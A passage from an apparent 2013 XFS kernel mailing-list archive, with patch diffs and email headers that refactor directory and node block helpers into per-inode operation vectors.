be32_to_cpu(btree2[nodehdr2.count - 1].hashval); @@ -927,12 +929,13 @@ xfs_da3_node_add( struct xfs_da3_icnode_hdr nodehdr; struct xfs_da_node_entry *btree; int tmp; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_node_add(state->args); node = oldblk->bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); ASSERT(oldblk->index >= 0 && oldblk->index <= nodehdr.count); ASSERT(newblk->blkno != 0); @@ -957,7 +960,7 @@ xfs_da3_node_add( nodehdr.count += 1; xfs_da3_node_hdr_to_disk(node, &nodehdr); xfs_trans_log_buf(state->args->trans, oldblk->bp, - XFS_DA_LOGRANGE(node, &node->hdr, xfs_da3_node_hdr_size(node))); + XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size())); /* * Copy the last hash value from the oldblk to propagate upwards. @@ -1115,7 +1118,7 @@ xfs_da3_root_join( * Read in the (only) child block, then copy those bytes into * the root block's buffer and free the original child block. */ - btree = xfs_da3_node_tree_p(oldroot); + btree = args->dp->d_ops->node_tree_p(oldroot); child = be32_to_cpu(btree[0].before); ASSERT(child != 0); error = xfs_da3_node_read(args->trans, args->dp, child, -1, &bp, @@ -1275,6 +1278,7 @@ xfs_da3_node_toosmall( */ STATIC uint xfs_da3_node_lasthash( + struct xfs_inode *dp, struct xfs_buf *bp, int *count) { @@ -1288,7 +1292,7 @@ xfs_da3_node_lasthash( *count = nodehdr.count; if (!nodehdr.count) return 0; - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); return be32_to_cpu(btree[nodehdr.count - 1].hashval); } @@ -1307,6 +1311,7 @@ xfs_da3_fixhashpath( xfs_dahash_t lasthash=0; int level; int count; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_fixhashpath(state->args); @@ -1319,13 +1324,12 @@ xfs_da3_fixhashpath( return; break; case XFS_DIR2_LEAFN_MAGIC: - lasthash = xfs_dir2_leafn_lasthash(state->args->dp, - blk->bp, &count); + lasthash = xfs_dir2_leafn_lasthash(dp, blk->bp, &count); if (count == 0) return; break; case XFS_DA_NODE_MAGIC: - lasthash = xfs_da3_node_lasthash(blk->bp, &count); + lasthash = xfs_da3_node_lasthash(dp, blk->bp, &count); if (count == 0) return; break; @@ -1335,7 +1339,7 @@ xfs_da3_fixhashpath( node = blk->bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); if (be32_to_cpu(btree->hashval) == lasthash) break; blk->hashval = lasthash; @@ -1361,6 +1365,7 @@ xfs_da3_node_remove( struct xfs_da_node_entry *btree; int index; int tmp; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_node_remove(state->args); @@ -1373,7 +1378,7 @@ xfs_da3_node_remove( * Copy over the offending entry, or just zero it out. */ index = drop_blk->index; - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); if (index < nodehdr.count - 1) { tmp = nodehdr.count - index - 1; tmp *= (uint)sizeof(xfs_da_node_entry_t); @@ -1388,7 +1393,7 @@ xfs_da3_node_remove( nodehdr.count -= 1; xfs_da3_node_hdr_to_disk(node, &nodehdr); xfs_trans_log_buf(state->args->trans, drop_blk->bp, - XFS_DA_LOGRANGE(node, &node->hdr, xfs_da3_node_hdr_size(node))); + XFS_DA_LOGRANGE(node, &node->hdr, dp->d_ops->node_hdr_size())); /* * Copy the last hash value from the block to propagate upwards. @@ -1415,6 +1420,7 @@ xfs_da3_node_unbalance( struct xfs_trans *tp; int sindex; int tmp; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_node_unbalance(state->args); @@ -1422,8 +1428,8 @@ xfs_da3_node_unbalance( save_node = save_blk->bp->b_addr; xfs_da3_node_hdr_from_disk(&drop_hdr, drop_node); xfs_da3_node_hdr_from_disk(&save_hdr, save_node); - drop_btree = xfs_da3_node_tree_p(drop_node); - save_btree = xfs_da3_node_tree_p(save_node); + drop_btree = dp->d_ops->node_tree_p(drop_node); + save_btree = dp->d_ops->node_tree_p(save_node); tp = state->args->trans; /* @@ -1460,7 +1466,7 @@ xfs_da3_node_unbalance( xfs_da3_node_hdr_to_disk(save_node, &save_hdr); xfs_trans_log_buf(tp, save_blk->bp, XFS_DA_LOGRANGE(save_node, &save_node->hdr, - xfs_da3_node_hdr_size(save_node))); + dp->d_ops->node_hdr_size())); /* * Save the last hashval in the remaining block for upward propagation. @@ -1502,6 +1508,7 @@ xfs_da3_node_lookup_int( int max; int error; int retval; + struct xfs_inode *dp = state->args->dp; args = state->args; @@ -1550,7 +1557,7 @@ xfs_da3_node_lookup_int( */ node = blk->bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); max = nodehdr.count; blk->hashval = be32_to_cpu(btree[max - 1].hashval); @@ -1645,6 +1652,7 @@ xfs_da3_node_lookup_int( */ STATIC int xfs_da3_node_order( + struct xfs_inode *dp, struct xfs_buf *node1_bp, struct xfs_buf *node2_bp) { @@ -1659,8 +1667,8 @@ xfs_da3_node_order( node2 = node2_bp->b_addr; xfs_da3_node_hdr_from_disk(&node1hdr, node1); xfs_da3_node_hdr_from_disk(&node2hdr, node2); - btree1 = xfs_da3_node_tree_p(node1); - btree2 = xfs_da3_node_tree_p(node2); + btree1 = dp->d_ops->node_tree_p(node1); + btree2 = dp->d_ops->node_tree_p(node2); if (node1hdr.count > 0 && node2hdr.count > 0 && ((be32_to_cpu(btree2[0].hashval) < be32_to_cpu(btree1[0].hashval)) || @@ -1687,6 +1695,7 @@ xfs_da3_blk_link( struct xfs_buf *bp; int before = 0; int error; + struct xfs_inode *dp = state->args->dp; /* * Set up environment. @@ -1704,10 +1713,10 @@ xfs_da3_blk_link( before = xfs_attr_leaf_order(old_blk->bp, new_blk->bp); break; case XFS_DIR2_LEAFN_MAGIC: - before = xfs_dir2_leafn_order(args->dp, old_blk->bp, new_blk->bp); + before = xfs_dir2_leafn_order(dp, old_blk->bp, new_blk->bp); break; case XFS_DA_NODE_MAGIC: - before = xfs_da3_node_order(old_blk->bp, new_blk->bp); + before = xfs_da3_node_order(dp, old_blk->bp, new_blk->bp); break; } @@ -1722,7 +1731,7 @@ xfs_da3_blk_link( new_info->forw = cpu_to_be32(old_blk->blkno); new_info->back = old_info->back; if (old_info->back) { - error = xfs_da3_node_read(args->trans, args->dp, + error = xfs_da3_node_read(args->trans, dp, be32_to_cpu(old_info->back), -1, &bp, args->whichfork); if (error) @@ -1743,7 +1752,7 @@ xfs_da3_blk_link( new_info->forw = old_info->forw; new_info->back = cpu_to_be32(old_blk->blkno); if (old_info->forw) { - error = xfs_da3_node_read(args->trans, args->dp, + error = xfs_da3_node_read(args->trans, dp, be32_to_cpu(old_info->forw), -1, &bp, args->whichfork); if (error) @@ -1863,6 +1872,7 @@ xfs_da3_path_shift( xfs_dablk_t blkno = 0; int level; int error; + struct xfs_inode *dp = state->args->dp; trace_xfs_da_path_shift(state->args); @@ -1879,7 +1889,7 @@ xfs_da3_path_shift( for (blk = &path->blk[level]; level >= 0; blk--, level--) { node = blk->bp->b_addr; xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); if (forward && (blk->index < nodehdr.count - 1)) { blk->index++; @@ -1913,7 +1923,7 @@ xfs_da3_path_shift( * Read the next child block. */ blk->blkno = blkno; - error = xfs_da3_node_read(args->trans, args->dp, blkno, -1, + error = xfs_da3_node_read(args->trans, dp, blkno, -1, &blk->bp, args->whichfork); if (error) return(error); @@ -1936,7 +1946,7 @@ xfs_da3_path_shift( blk->magic = XFS_DA_NODE_MAGIC; node = (xfs_da_intnode_t *)info; xfs_da3_node_hdr_from_disk(&nodehdr, node); - btree = xfs_da3_node_tree_p(node); + btree = dp->d_ops->node_tree_p(node); blk->hashval = be32_to_cpu(btree[nodehdr.count - 1].hashval); if (forward) blk->index = 0; @@ -2164,7 +2174,7 @@ xfs_da3_swap_lastblock( struct xfs_dir2_leaf *dead_leaf2; struct xfs_da_node_entry *btree; struct xfs_da3_icnode_hdr par_hdr; - struct xfs_inode *ip; + struct xfs_inode *dp; struct xfs_trans *tp; struct xfs_mount *mp; struct xfs_buf *dead_buf; @@ -2188,12 +2198,12 @@ xfs_da3_swap_lastblock( dead_buf = *dead_bufp; dead_blkno = *dead_blknop; tp = args->trans; - ip = args->dp; + dp = args->dp; w = args->whichfork; ASSERT(w == XFS_DATA_FORK); - mp = ip->i_mount; + mp = dp->i_mount; lastoff = mp->m_dirfreeblk; - error = xfs_bmap_last_before(tp, ip, &lastoff, w); + error = xfs_bmap_last_before(tp, dp, &lastoff, w); if (error) return error; if (unlikely(lastoff == 0)) { @@ -2205,7 +2215,7 @@ xfs_da3_swap_lastblock( * Read the last block in the btree space. */ last_blkno = (xfs_dablk_t)lastoff - mp->m_dirblkfsbs; - error = xfs_da3_node_read(tp, ip, last_blkno, -1, &last_buf, w); + error = xfs_da3_node_read(tp, dp, last_blkno, -1, &last_buf, w); if (error) return error; /* @@ -2224,7 +2234,7 @@ xfs_da3_swap_lastblock( dead_leaf2 = (xfs_dir2_leaf_t *)dead_info; xfs_dir3_leaf_hdr_from_disk(&leafhdr, dead_leaf2); - ents = ip->d_ops->leaf_ents_p(dead_leaf2); + ents = dp->d_ops->leaf_ents_p(dead_leaf2); dead_level = 0; dead_hash = be32_to_cpu(ents[leafhdr.count - 1].hashval); } else { @@ -2232,7 +2242,7 @@ xfs_da3_swap_lastblock( dead_node = (xfs_da_intnode_t *)dead_info; xfs_da3_node_hdr_from_disk(&deadhdr, dead_node); - btree = xfs_da3_node_tree_p(dead_node); + btree = dp->d_ops->node_tree_p(dead_node); dead_level = deadhdr.level; dead_hash = be32_to_cpu(btree[deadhdr.count - 1].hashval); } @@ -2241,7 +2251,7 @@ xfs_da3_swap_lastblock( * If the moved block has a left sibling, fix up the pointers. */ if ((sib_blkno = be32_to_cpu(dead_info->back))) { - error = xfs_da3_node_read(tp, ip, sib_blkno, -1, &sib_buf, w); + error = xfs_da3_node_read(tp, dp, sib_blkno, -1, &sib_buf, w); if (error) goto done; sib_info = sib_buf->b_addr; @@ -2263,7 +2273,7 @@ xfs_da3_swap_lastblock( * If the moved block has a right sibling, fix up the pointers. */ if ((sib_blkno = be32_to_cpu(dead_info->forw))) { - error = xfs_da3_node_read(tp, ip, sib_blkno, -1, &sib_buf, w); + error = xfs_da3_node_read(tp, dp, sib_blkno, -1, &sib_buf, w); if (error) goto done; sib_info = sib_buf->b_addr; @@ -2287,7 +2297,7 @@ xfs_da3_swap_lastblock( * Walk down the tree looking for the parent of the moved block. */ for (;;) { - error = xfs_da3_node_read(tp, ip, par_blkno, -1, &par_buf, w); + error = xfs_da3_node_read(tp, dp, par_blkno, -1, &par_buf, w); if (error) goto done; par_node = par_buf->b_addr; @@ -2299,7 +2309,7 @@ xfs_da3_swap_lastblock( goto done; } level = par_hdr.level; - btree = xfs_da3_node_tree_p(par_node); + btree = dp->d_ops->node_tree_p(par_node); for (entno = 0; entno < par_hdr.count && be32_to_cpu(btree[entno].hashval) < dead_hash; @@ -2338,7 +2348,7 @@ xfs_da3_swap_lastblock( error = XFS_ERROR(EFSCORRUPTED); goto done; } - error = xfs_da3_node_read(tp, ip, par_blkno, -1, &par_buf, w); + error = xfs_da3_node_read(tp, dp, par_blkno, -1, &par_buf, w); if (error) goto done; par_node = par_buf->b_addr; @@ -2349,7 +2359,7 @@ xfs_da3_swap_lastblock( error = XFS_ERROR(EFSCORRUPTED); goto done; } - btree = xfs_da3_node_tree_p(par_node); + btree = dp->d_ops->node_tree_p(par_node); entno = 0; } /* diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index ff8b503..72b48b5 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -477,6 +477,33 @@ xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) return ((struct xfs_dir3_leaf *)lp)->__ents; } +/* + * Directory/Attribute Node block operations + */ +static inline int +xfs_da2_node_hdr_size(void) +{ + return sizeof(struct xfs_da_node_hdr); +} + +static struct xfs_da_node_entry * +xfs_da2_node_tree_p(struct xfs_da_intnode *dap) +{ + return dap->__btree; +} + +static inline int +xfs_da3_node_hdr_size(void) +{ + return sizeof(struct xfs_da3_node_hdr); +} + +static inline struct xfs_da_node_entry * +xfs_da3_node_tree_p(struct xfs_da_intnode *dap) +{ + return ((struct xfs_da3_intnode *)dap)->__btree; +} + const struct xfs_dir_ops xfs_dir2_ops = { .sf_entsize = xfs_dir2_sf_entsize, .sf_nextentry = xfs_dir2_sf_nextentry, @@ -508,6 +535,8 @@ const struct xfs_dir_ops xfs_dir2_ops = { .leaf_max_ents = xfs_dir2_max_leaf_ents, .leaf_ents_p = xfs_dir2_leaf_ents_p, + .node_hdr_size = xfs_da2_node_hdr_size, + .node_tree_p = xfs_da2_node_tree_p, }; const struct xfs_dir_ops xfs_dir2_ftype_ops = { @@ -540,6 +569,9 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .leaf_hdr_size = xfs_dir2_leaf_hdr_size, .leaf_max_ents = xfs_dir2_max_leaf_ents, .leaf_ents_p = xfs_dir2_leaf_ents_p, + + .node_hdr_size = xfs_da2_node_hdr_size, + .node_tree_p = xfs_da2_node_tree_p, }; const struct xfs_dir_ops xfs_dir3_ops = { @@ -572,6 +604,19 @@ const struct xfs_dir_ops xfs_dir3_ops = { .leaf_hdr_size = xfs_dir3_leaf_hdr_size, .leaf_max_ents = xfs_dir3_max_leaf_ents, .leaf_ents_p = xfs_dir3_leaf_ents_p, + + .node_hdr_size = xfs_da3_node_hdr_size, + .node_tree_p = xfs_da3_node_tree_p, +}; + +const struct xfs_dir_ops xfs_dir2_nondir_ops = { + .node_hdr_size = xfs_da2_node_hdr_size, + .node_tree_p = xfs_da2_node_tree_p, +}; + +const struct xfs_dir_ops xfs_dir3_nondir_ops = { + .node_hdr_size = xfs_da3_node_hdr_size, + .node_tree_p = xfs_da3_node_tree_p, }; /* @@ -594,3 +639,17 @@ xfs_dir_get_ops( return &xfs_dir2_ftype_ops; return &xfs_dir2_ops; } + +const struct xfs_dir_ops * +xfs_nondir_get_ops( + struct xfs_mount *mp, + struct xfs_inode *dp) +{ + if (dp) + return dp->d_ops; + if (mp->m_nondir_inode_ops) + return mp->m_nondir_inode_ops; + if (xfs_sb_version_hascrc(&mp->m_sb)) + return &xfs_dir3_nondir_ops; + return &xfs_dir2_nondir_ops; +} diff --git a/fs/xfs/xfs_da_format.h b/fs/xfs/xfs_da_format.h index 0a567e2..69b4c6e 100644 --- a/fs/xfs/xfs_da_format.h +++ b/fs/xfs/xfs_da_format.h @@ -127,31 +127,6 @@ extern void xfs_da3_node_hdr_from_disk(struct xfs_da3_icnode_hdr *to, extern void xfs_da3_node_hdr_to_disk(struct xfs_da_intnode *to, struct xfs_da3_icnode_hdr *from); -static inline int -__xfs_da3_node_hdr_size(bool v3) -{ - if (v3) - return sizeof(struct xfs_da3_node_hdr); - return sizeof(struct xfs_da_node_hdr); -} -static inline int -xfs_da3_node_hdr_size(struct xfs_da_intnode *dap) -{ - bool v3 = dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC); - - return __xfs_da3_node_hdr_size(v3); -} - -static inline struct xfs_da_node_entry * -xfs_da3_node_tree_p(struct xfs_da_intnode *dap) -{ - if (dap->hdr.info.magic == cpu_to_be16(XFS_DA3_NODE_MAGIC)) { - struct xfs_da3_intnode *dap3 = (struct xfs_da3_intnode *)dap; - return dap3->__btree; - } - return dap->__btree; -} - extern void xfs_da3_intnode_from_disk(struct xfs_da3_icnode_hdr *to, struct xfs_da_intnode *from); extern void xfs_da3_intnode_to_disk(struct xfs_da_intnode *to, diff --git a/fs/xfs/xfs_dir2.c b/fs/xfs/xfs_dir2.c index 2b98a33..1b44e83 100644 --- a/fs/xfs/xfs_dir2.c +++ b/fs/xfs/xfs_dir2.c @@ -95,13 +95,17 @@ xfs_dir_mount( ASSERT(xfs_sb_version_hasdirv2(&mp->m_sb)); ASSERT((1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog)) <= XFS_MAX_BLOCKSIZE); + + mp->m_dir_inode_ops = xfs_dir_get_ops(mp, NULL); + mp->m_nondir_inode_ops = xfs_nondir_get_ops(mp, NULL); + mp->m_dirblksize = 1 << (mp->m_sb.sb_blocklog + mp->m_sb.sb_dirblklog); mp->m_dirblkfsbs = 1 << mp->m_sb.sb_dirblklog; mp->m_dirdatablk = xfs_dir2_db_to_da(mp, XFS_DIR2_DATA_FIRSTDB(mp)); mp->m_dirleafblk = xfs_dir2_db_to_da(mp, XFS_DIR2_LEAF_FIRSTDB(mp)); mp->m_dirfreeblk = xfs_dir2_db_to_da(mp, XFS_DIR2_FREE_FIRSTDB(mp)); - nodehdr_size = __xfs_da3_node_hdr_size(xfs_sb_version_hascrc(&mp->m_sb)); + nodehdr_size = mp->m_dir_inode_ops->node_hdr_size(); mp->m_attr_node_ents = (mp->m_sb.sb_blocksize - nodehdr_size) / (uint)sizeof(xfs_da_node_entry_t); mp->m_dir_node_ents = (mp->m_dirblksize - nodehdr_size) / @@ -113,7 +117,6 @@ xfs_dir_mount( else mp->m_dirnameops = &xfs_default_nameops; - mp->m_dir_inode_ops = xfs_dir_get_ops(mp, NULL); } /* diff --git a/fs/xfs/xfs_dir2.h b/fs/xfs/xfs_dir2.h index 9ba9db7..c5cad9d 100644 --- a/fs/xfs/xfs_dir2.h +++ b/fs/xfs/xfs_dir2.h @@ -79,10 +79,16 @@ struct xfs_dir_ops { int (*leaf_max_ents)(struct xfs_mount *mp); struct xfs_dir2_leaf_entry * (*leaf_ents_p)(struct xfs_dir2_leaf *lp); + + int (*node_hdr_size)(void); + struct xfs_da_node_entry * + (*node_tree_p)(struct xfs_da_intnode *dap); }; extern const struct xfs_dir_ops * xfs_dir_get_ops(struct xfs_mount *mp, struct xfs_inode *dp); +extern const struct xfs_dir_ops * + xfs_nondir_get_ops(struct xfs_mount *mp, struct xfs_inode *dp); /* * Generic directory interface routines diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index e8ae828..fa96a6f 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -1198,6 +1198,7 @@ xfs_setup_inode( inode->i_ctime.tv_nsec = ip->i_d.di_ctime.t_nsec; xfs_diflags_to_iflags(inode, ip); + ip->d_ops = ip->i_mount->m_nondir_inode_ops; switch (inode->i_mode & S_IFMT) { case S_IFREG: inode->i_op = &xfs_inode_operations; diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 973397f..1d8101a 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -150,6 +150,7 @@ typedef struct xfs_mount { __uint8_t m_sectbb_log; /* sectlog - BBSHIFT */ const struct xfs_nameops *m_dirnameops; /* vector of dir name ops */ const struct xfs_dir_ops *m_dir_inode_ops; /* vector of dir inode ops */ + const struct xfs_dir_ops *m_nondir_inode_ops; /* !dir inode ops */ int m_dirblksize; /* directory block sz--bytes */ int m_dirblkfsbs; /* directory block sz--fsbs */ xfs_dablk_t m_dirdatablk; /* blockno of dir data v2 */ -- 1.8.3.2 From dave@fromorbit.com Sun Sep 29 22:07:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C99B67F82 for ; Sun, 29 Sep 2013 22:07:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6359F304053 for ; Sun, 29 Sep 2013 20:07:38 -0700 (PDT) X-ASG-Debug-ID: 1380510443-04bdf02f2315f0610007-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id ODarFl2uc8ajtkVo for ; Sun, 29 Sep 2013 20:07:35 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlwGAPLpSFJ5LCC0/2dsb2JhbABagweteZUrF3SCJQEBBRoBDC8zCBgxOQMbGYgFvAaTegOUIpVWgzYq Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail06.adl6.internode.on.net with ESMTP; 30 Sep 2013 12:37:25 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1VQTpO-0006Lm-Qm for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1VQTpO-0002CL-Pf for xfs@oss.sgi.com; Mon, 30 Sep 2013 13:07:18 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 11/16] xfs: vectorise directory leaf operations Date: Mon, 30 Sep 2013 13:07:08 +1000 X-ASG-Orig-Subj: [PATCH 11/16] xfs: vectorise directory leaf operations Message-Id: <1380510433-8353-12-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1380510433-8353-1-git-send-email-david@fromorbit.com> References: <1380510433-8353-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1380510454 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.141043 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Next step in the vectorisation process is the leaf block encode/decode operations. Most of the operations on leaves are handled by the data block vectors, so there are relatively few of them here. Because of all the shuffling of code and having to pass more state to some functions, this patch doesn't directly reduce the size of the binary. It does open up many more opportunities for factoring and optimisation, however. text data bss dec hex filename 794490 96802 1096 892388 d9de4 fs/xfs/xfs.o.orig 792986 96802 1096 890884 d9804 fs/xfs/xfs.o.p1 792350 96802 1096 890248 d9588 fs/xfs/xfs.o.p2 789293 96802 1096 887191 d8997 fs/xfs/xfs.o.p3 789005 96802 1096 886903 d8997 fs/xfs/xfs.o.p4 789061 96802 1096 886959 d88af fs/xfs/xfs.o.p5 Signed-off-by: Dave Chinner --- fs/xfs/xfs_da_btree.c | 19 ++++---- fs/xfs/xfs_da_format.c | 75 +++++++++++++++++++++++++++++++ fs/xfs/xfs_da_format.h | 30 ------------- fs/xfs/xfs_dir2.c | 7 +-- fs/xfs/xfs_dir2.h | 10 +++-- fs/xfs/xfs_dir2_block.c | 2 +- fs/xfs/xfs_dir2_data.c | 13 ++---- fs/xfs/xfs_dir2_leaf.c | 91 +++++++++++++++++++++----------------- fs/xfs/xfs_dir2_node.c | 115 ++++++++++++++++++++++++++---------------------- fs/xfs/xfs_dir2_priv.h | 13 +++--- 10 files changed, 217 insertions(+), 158 deletions(-) diff --git a/fs/xfs/xfs_da_btree.c b/fs/xfs/xfs_da_btree.c index eb65c54..df3759c 100644 --- a/fs/xfs/xfs_da_btree.c +++ b/fs/xfs/xfs_da_btree.c @@ -605,7 +605,7 @@ xfs_da3_root_split( leaf = (xfs_dir2_leaf_t *)oldroot; xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); - ents = xfs_dir3_leaf_ents_p(leaf); + ents = dp->d_ops->leaf_ents_p(leaf); ASSERT(leafhdr.magic == XFS_DIR2_LEAFN_MAGIC || leafhdr.magic == XFS_DIR3_LEAFN_MAGIC); @@ -1319,7 +1319,8 @@ xfs_da3_fixhashpath( return; break; case XFS_DIR2_LEAFN_MAGIC: - lasthash = xfs_dir2_leafn_lasthash(blk->bp, &count); + lasthash = xfs_dir2_leafn_lasthash(state->args->dp, + blk->bp, &count); if (count == 0) return; break; @@ -1536,7 +1537,8 @@ xfs_da3_node_lookup_int( if (blk->magic == XFS_DIR2_LEAFN_MAGIC || blk->magic == XFS_DIR3_LEAFN_MAGIC) { blk->magic = XFS_DIR2_LEAFN_MAGIC; - blk->hashval = xfs_dir2_leafn_lasthash(blk->bp, NULL); + blk->hashval = xfs_dir2_leafn_lasthash(args->dp, + blk->bp, NULL); break; } @@ -1702,7 +1704,7 @@ xfs_da3_blk_link( before = xfs_attr_leaf_order(old_blk->bp, new_blk->bp); break; case XFS_DIR2_LEAFN_MAGIC: - before = xfs_dir2_leafn_order(old_blk->bp, new_blk->bp); + before = xfs_dir2_leafn_order(args->dp, old_blk->bp, new_blk->bp); break; case XFS_DA_NODE_MAGIC: before = xfs_da3_node_order(old_blk->bp, new_blk->bp); @@ -1947,16 +1949,15 @@ xfs_da3_path_shift( blk->magic = XFS_ATTR_LEAF_MAGIC; ASSERT(level == path->active-1); blk->index = 0; - blk->hashval = xfs_attr_leaf_lasthash(blk->bp, - NULL); + blk->hashval = xfs_attr_leaf_lasthash(blk->bp, NULL); break; case XFS_DIR2_LEAFN_MAGIC: case XFS_DIR3_LEAFN_MAGIC: blk->magic = XFS_DIR2_LEAFN_MAGIC; ASSERT(level == path->active-1); blk->index = 0; - blk->hashval = xfs_dir2_leafn_lasthash(blk->bp, - NULL); + blk->hashval = xfs_dir2_leafn_lasthash(args->dp, + blk->bp, NULL); break; default: ASSERT(0); @@ -2223,7 +2224,7 @@ xfs_da3_swap_lastblock( dead_leaf2 = (xfs_dir2_leaf_t *)dead_info; xfs_dir3_leaf_hdr_from_disk(&leafhdr, dead_leaf2); - ents = xfs_dir3_leaf_ents_p(dead_leaf2); + ents = ip->d_ops->leaf_ents_p(dead_leaf2); dead_level = 0; dead_hash = be32_to_cpu(ents[leafhdr.count - 1].hashval); } else { diff --git a/fs/xfs/xfs_da_format.c b/fs/xfs/xfs_da_format.c index 1e92a24..ff8b503 100644 --- a/fs/xfs/xfs_da_format.c +++ b/fs/xfs/xfs_da_format.c @@ -435,6 +435,48 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) ((char *)hdr + xfs_dir3_data_entry_offset()); } + +/* + * Directory Leaf block operations + */ +static int +xfs_dir2_leaf_hdr_size(void) +{ + return sizeof(struct xfs_dir2_leaf_hdr); +} + +static int +xfs_dir2_max_leaf_ents(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir2_leaf_hdr_size()) / + (uint)sizeof(struct xfs_dir2_leaf_entry); +} + +static struct xfs_dir2_leaf_entry * +xfs_dir2_leaf_ents_p(struct xfs_dir2_leaf *lp) +{ + return lp->__ents; +} + +static int +xfs_dir3_leaf_hdr_size(void) +{ + return sizeof(struct xfs_dir3_leaf_hdr); +} + +static inline int +xfs_dir3_max_leaf_ents(struct xfs_mount *mp) +{ + return (mp->m_dirblksize - xfs_dir3_leaf_hdr_size()) / + (uint)sizeof(struct xfs_dir2_leaf_entry); +} + +static inline struct xfs_dir2_leaf_entry * +xfs_dir3_leaf_ents_p(struct xfs_dir2_leaf *lp) +{ + return ((struct xfs_dir3_leaf *)lp)->__ents; +} + const struct xfs_dir_ops xfs_dir2_ops = { .sf_entsize = xfs_dir2_sf_entsize, .sf_nextentry = xfs_dir2_sf_nextentry, @@ -462,6 +504,10 @@ const struct xfs_dir_ops xfs_dir2_ops = { .data_entry_p = xfs_dir2_data_entry_p, .data_unused_p = xfs_dir2_data_unused_p, + .leaf_hdr_size = xfs_dir2_leaf_hdr_size, + .leaf_max_ents = xfs_dir2_max_leaf_ents, + .leaf_ents_p = xfs_dir2_leaf_ents_p, + }; const struct xfs_dir_ops xfs_dir2_ftype_ops = { @@ -490,6 +536,10 @@ const struct xfs_dir_ops xfs_dir2_ftype_ops = { .data_first_entry_p = xfs_dir2_data_first_entry_p, .data_entry_p = xfs_dir2_data_entry_p, .data_unused_p = xfs_dir2_data_unused_p, + + .leaf_hdr_size = xfs_dir2_leaf_hdr_size, + .leaf_max_ents = xfs_dir2_max_leaf_ents, + .leaf_ents_p = xfs_dir2_leaf_ents_p, }; const struct xfs_dir_ops xfs_dir3_ops = { @@ -518,4 +568,29 @@ const struct xfs_dir_ops xfs_dir3_ops = { .data_first_entry_p = xfs_dir3_data_first_entry_p, .data_entry_p = xfs_dir3_data_entry_p, .data_unused_p = xfs_dir3_data_unused_p, + + .leaf_hdr_size = xfs_dir3_leaf_hdr_size, + .leaf_max_ents = xfs_dir3_max_leaf_ents, + .leaf_ents_p = xfs_dir3_leaf_ents_p, }; + +/* + * Return the ops structure according to the current config. If we are passed + * an inode, then that overrides the default config we use which is based on + * feature bits. + */ +const struct xfs_dir_ops * +xfs_dir_get_ops( + struct xfs_mount *mp, + struct xfs_inode *dp) +{ + if (dp) + return dp->d_ops; + if (mp->m_dir_inode_ops) + return mp->m_dir_inode_ops; + if (xfs_sb_version_hascrc(&mp->m_sb)) + return &xfs_dir3_ops; + if (xfs_sb_version_hasftype(&mp->m_sb)) + return 